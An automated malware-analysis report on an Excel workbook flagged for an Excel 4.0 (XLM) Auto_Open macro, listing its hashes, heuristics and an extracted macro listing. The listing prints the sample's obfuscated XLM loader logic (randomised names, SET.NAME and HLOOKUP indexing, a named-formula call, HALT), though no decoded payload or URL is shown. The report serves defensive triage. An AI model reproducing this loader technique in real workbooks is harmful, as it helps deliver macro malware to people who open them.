Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 74647067acdd6486…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:15 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: c03279d55d8a2544fe9f5a0aa7bd8014 SHA-1: 68acad0059ae523f0efaeba84268978b5d5a8494 SHA-256: 74647067acdd64867e65d0f2057b025ddfe512dff001ba2fec3bf04f71869797
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6809 bytes
SHA-256: 0119275d15c6bfa1ff48a00c2d85873d9662e9491162efbda3f8f21a9e63b117
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  SvwofRUB
' 0018     23 LABEL : Cell Value, String Constant - AcqHBTkH len=0 
' 0018     21 LABEL : Cell Value, String Constant - aMTYoc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C184 
' 0018     21 LABEL : Cell Value, String Constant - AwEhnl len=0 
' 0018     21 LABEL : Cell Value, String Constant - brnVPZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - DLslphtzcxil len=0 
' 0018     26 LABEL : Cell Value, String Constant - EETYqivqbRg len=0 
' 0018     23 LABEL : Cell Value, String Constant - euuBwPnD len=0 
' 0018     24 LABEL : Cell Value, String Constant - iSWnzLZJK len=0 
' 0018     25 LABEL : Cell Value, String Constant - kCmWQqSacv len=0 
' 0018     24 LABEL : Cell Value, String Constant - kffvvfjxq len=0 
' 0018     25 LABEL : Cell Value, String Constant - lerdbpwMLi len=0 
' 0018     24 LABEL : Cell Value, String Constant - nbGQfxrdY len=0 
' 0018     24 LABEL : Cell Value, String Constant - RkoVFumzw len=0 
' 0018     23 LABEL : Cell Value, String Constant - SyEqfzOU len=0 
' 0018     23 LABEL : Cell Value, String Constant - tCHWuJNP len=0 
' 0018     26 LABEL : Cell Value, String Constant - TZYrRCpPwHp len=0 
' 0018     22 LABEL : Cell Value, String Constant - vIXSkUu len=0 
' 0018     21 LABEL : Cell Value, String Constant - vQNAIT len=0 
' 0018     24 LABEL : Cell Value, String Constant - yQBTGzCaf len=0 
' 0018     25 LABEL : Cell Value, String Constant - YxJOFcEHCF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  SvwofRUB,C87,"SET.NAME("tCHWuJNP",0+VALUE("0"))",""
'  SvwofRUB,S90,"",-381.00000000000000000000
'  SvwofRUB,S91,"",47.00000000000000000000
'  SvwofRUB,C92,"SET.NAME("vIXSkUu",tCHWuJNP)",""
'  SvwofRUB,S92,"",620.00000000000000000000
'  SvwofRUB,S93,"",-834.00000000000000000000
'  SvwofRUB,C94,"SET.NAME("EETYqivqbRg",tCHWuJNP)",""
'  SvwofRUB,S94,"",498.00000000000000000000
'  SvwofRUB,S95,"",-184.00000000000000000000
'  SvwofRUB,C97,"SET.NAME("nbGQfxrdY",COUNTA(AwEhnl))",""
'  SvwofRUB,C99,"SET.NAME("kCmWQqSacv",COUNTA(kffvvfjxq))",""
'  SvwofRUB,C104,[],""
'  SvwofRUB,C109,"SET.NAME("aMTYoc","")",""
'  SvwofRUB,C111,"vIXSkUu",""
'  SvwofRUB,C116,"SET.NAME("brnVPZ",HLOOKUP("*",AwEhnl,vIXSkUu,FALSE))",""
'  SvwofRUB,C121,"DLslphtzcxil",""
'  SvwofRUB,C124,"SET.NAME("SyEqfzOU",tCHWuJNP)",""
'  SvwofRUB,C129,[],""
'  SvwofRUB,C133,"SyEqfzOU",""
'  SvwofRUB,C136,"lerdbpwMLi",""
'  SvwofRUB,C141,"iSWnzLZJK",""
'  SvwofRUB,C146,"RkoVFumzw",""
'  SvwofRUB,C149,"SET.NAME("euuBwPnD",VALUE(HLOOKUP("*",kffvvfjxq,RkoVFumzw,FALSE)))",""
'  SvwofRUB,C154,"vQNAIT",""
'  SvwofRUB,C158,"aMTYoc",""
'  SvwofRUB,C161,"EETYqivqbRg",""
'  SvwofRUB,C164,NEXT(),""
'  SvwofRUB,C166,"AcqHBTkH",""
'  SvwofRUB,C170,[],""
'  SvwofRUB,C173,"YxJOFcEHCF",""
'  SvwofRUB,C177,NEXT(),""
'  SvwofRUB,C180,RETURN(),""
'  SvwofRUB,C211,"SET.NAME("yQBTGzCaf",C87)",""
'  SvwofRUB,C213,"AwEhnl",""
'  SvwofRUB,C215,"SET.NAME("kffvvfjxq",R97C15)",""
'  SvwofRUB,C219,"SET.NAME("YxJOFcEHCF",225)",""
'  SvwofRUB,C222,"SET.NAME("TZYrRCpPwHp",3)",""
'  SvwofRUB,C224,yQBTGzCaf(),""
'  SvwofRUB,C225,HALT(),""

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